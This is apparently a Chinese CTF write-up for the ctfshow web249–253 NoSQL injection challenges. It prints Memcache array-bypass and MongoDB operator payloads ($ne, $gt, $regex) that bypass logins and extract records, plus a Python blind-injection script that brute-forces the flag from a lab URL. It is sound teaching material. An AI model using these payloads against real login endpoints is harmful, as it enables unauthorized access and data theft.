当前位置: 首页 > article >正文

ctfshow-web入门-sql注入(web249-web253)nosql 注入

目录

1、web249

2、web250

3、web251

4、wen252

5、web253


1、web249

开始nosql,flag在flag中

 $user = $memcache->get($id);

使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中。 

直接查 flag,遇到报错:

采用数组绕过,payload: 

/api/?id[]=flag

拿到 flag:ctfshow{ca4ee4b2-308d-4466-b067-ae819563945c}

2、web250

mongodb 操作符:

方法名描述
$gt大于
$lte小于等于
$in包含
$nin不包含
$lt小于
$gte大于等于
$ne不等于
$eq

等于

$and
$nor$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档。
$not反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在。
$or

在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如 $ne=1 时就是将所有不等于 1 的数据都查询出来。

payload:

username[$ne]=1&password[$ne]=1

 特别注意这里的接口是 /api/index.php,或者你在 api 后面打上斜杠,否则一直查询失败。

拿到 flag:ctfshow{4a370dd2-476d-4cb8-af90-835fe1186271}

3、web251

用重言式注入得到的是 admin 的密码:ctfshow666nnneeaaabbbcc

试了一下登录成功,但是也未见 flag 

 

查用户名不为 admin 的,payload:

username[$ne]=admin&password[$ne]=1

拿到 flag:ctfshow{a438711a-09d0-495d-8023-a562a9bad1e3}

4、wen252

用上一个 payload 但还出来了一个 admin1 

用 $gt (大于)继续尝试: 

username[$gt]=admin1&password[$ne]=1

还有 admin2

继续测,还有 admin3

直到:

username[$gt]=admin3&password[$ne]=1

 出来了一个名为 f_l_a_g 的用户,密码即为 flag

拿到 flag:ctfshow{02bc45f0-035d-46e1-bff0-d3388be3e90f}

当然这里更简便的方法,我们可以采用正则。

查 password 中以 ctfshow{ 开头的,payload:

username[$ne]=1&password[$regex]=^ctfshow{

 

5、web253

采用上一题的正则,虽然登录成功,但是没有回显 flag

这里采用盲注:

username[$ne]=1&password[$regex]=^c

验证一下,确实是不同的回显(flag 的第一个字符肯定是 c )

写个脚本来跑即可:

# @author:Myon
# @time:20240913
import requests
import string

url = 'http://9e856a5a-0dd8-4fac-8b5a-450688cee600.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = 'ctfshow{'

for j in range(9,50):
    for k in dic:
        payload = {'username[$ne]':'1','password[$regex]': f'^{out+k}'}
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 注意反斜杠需要转义
            out += k
            break
    print(out)

但是这里如果从第一个字符注过去,得到的东西就很奇怪 

关键是这个东西还真的存在,确实可以登录成功

这里从 ctfshow{ 后面开始注,将前面的 8 个字符确定后再继续猜后面的字符,即可拿到正确的 flag:ctfshow{042c08ff-2628-445f-928c-583482e193d2}

至此,ctfshow-web入门-sql注入结束,20240913,Myon  


http://www.kler.cn/a/301914.html

相关文章:

  • 2024强化学习的结构化剪枝模型RL-Pruner原理及实践
  • 计算机网络 (4)计算机网络体系结构
  • C++(Day35)
  • 论文 | On Second Thought, Let’s Not Think Step by Step!
  • Uniapp踩坑input自动获取焦点ref动态获取实例不可用
  • 缓存cache
  • 鸿蒙(API 12 Beta6版)超帧功能开发【ABR功能开发】
  • FastAPI+Vue3零基础开发ERP系统项目实战课 20240906 上课笔记 fastapi的各种练习
  • 【深度学习 transformer】基于Transformer的图像分类方法及应用实例
  • idea同时装了两个版本,每次打开低版本都需要重新激活破解
  • 性能测试-jmeter脚本录制(十五)
  • RK3568平台开发系列讲解(LCD篇)Framebuffer开发
  • 大佬,简单解释下“嵌入式软件开发”和“嵌入式硬件开发”的区别
  • 【Unity学习心得】如何使用Unity制作“饥荒”风格的俯视角2.5D游戏
  • 汽车驾校开设无人机培训机构技术分析
  • 第十七章 番外 共现矩阵
  • 经典文献阅读之--Multi S-Graphs(一种高效的实时分布式语义关系协同SLAM)
  • ubuntu20.04/22.04/24.04 docker 容器安装方法
  • RB-SQL:利用检索LLM框架处理大型数据库和复杂多表查询的NL2SQL
  • JAVAWeb-XML-Tomcat(纯小白下载安装调试教程)-HTTP
  • 算法设计(二)
  • 【Java OJ】弦截法求根(循环)
  • 针对网上nbcio-boot代码审计的actuator方法的未授权访问漏洞和ScriptEngine的注入漏洞的补救
  • 基线代理 AI 系统架构
  • 一个以细节见功底的JAVA程序
  • MySQL——数据库的高级操作(二)用户管理(2)创建普通用户